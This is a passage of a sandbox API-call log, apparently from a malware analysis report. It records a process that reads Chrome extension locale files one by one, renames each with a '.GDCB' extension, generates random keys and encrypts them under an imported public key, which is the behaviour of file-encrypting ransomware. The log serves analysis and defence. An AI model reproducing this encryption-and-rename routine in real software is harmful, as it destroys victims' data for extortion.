Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.173] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.176] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.178] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2c1, lpOverlapped=0x0) returned 1 [0273.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.193] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0273.199] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.204] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.204] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.204] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.204] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.206] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.208] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.208] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.208] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.209] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.211] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a320) returned 1 [0273.211] CryptGetKeyParam (in: hKey=0x679a320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.211] CryptEncrypt (in: hKey=0x679a320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.211] GetLastError () returned 0x0 [0273.211] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.211] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.213] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aa60) returned 1 [0273.213] CryptGetKeyParam (in: hKey=0x679aa60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.213] CryptEncrypt (in: hKey=0x679aa60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.213] GetLastError () returned 0x0 [0273.213] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.213] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.215] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.218] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.220] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x297, lpOverlapped=0x0) returned 1 [0273.228] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.234] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0273.239] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.245] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.245] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.245] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0273.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.250] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.250] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.250] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.252] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a9e0) returned 1 [0273.252] CryptGetKeyParam (in: hKey=0x679a9e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.253] CryptEncrypt (in: hKey=0x679a9e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.253] GetLastError () returned 0x0 [0273.253] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.253] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.255] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ac20) returned 1 [0273.255] CryptGetKeyParam (in: hKey=0x679ac20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.255] CryptEncrypt (in: hKey=0x679ac20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.255] GetLastError () returned 0x0 [0273.255] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.255] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.256] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.259] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.261] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x282, lpOverlapped=0x0) returned 1 [0273.269] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.276] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0273.281] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.286] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.286] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.286] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.286] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.289] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.291] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.291] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.291] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.291] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0273.293] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ad60) returned 1 [0273.293] CryptGetKeyParam (in: hKey=0x679ad60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.293] CryptEncrypt (in: hKey=0x679ad60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.293] GetLastError () returned 0x0 [0273.293] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.293] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.295] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679afe0) returned 1 [0273.295] CryptGetKeyParam (in: hKey=0x679afe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.295] CryptEncrypt (in: hKey=0x679afe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.295] GetLastError () returned 0x0 [0273.295] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.295] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.297] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.299] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.301] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2bd, lpOverlapped=0x0) returned 1 [0273.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.315] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0273.320] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.325] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.325] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.325] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.325] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.327] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.330] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.330] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.330] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.330] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.332] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679afa0) returned 1 [0273.332] CryptGetKeyParam (in: hKey=0x679afa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.332] CryptEncrypt (in: hKey=0x679afa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.332] GetLastError () returned 0x0 [0273.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.332] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.334] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ab20) returned 1 [0273.334] CryptGetKeyParam (in: hKey=0x679ab20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.334] CryptEncrypt (in: hKey=0x679ab20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.334] GetLastError () returned 0x0 [0273.334] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.334] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.336] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.338] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.340] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x36b, lpOverlapped=0x0) returned 1 [0273.349] VirtualAlloc (lpAddress=0x0, dwSize=0x370, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.354] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0273.360] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.365] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.365] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.365] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.365] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.369] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.369] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.370] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.372] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aea0) returned 1 [0273.372] CryptGetKeyParam (in: hKey=0x679aea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.372] CryptEncrypt (in: hKey=0x679aea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.372] GetLastError () returned 0x0 [0273.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.372] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.374] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679ab60) returned 1 [0273.374] CryptGetKeyParam (in: hKey=0x679ab60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.374] CryptEncrypt (in: hKey=0x679ab60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: 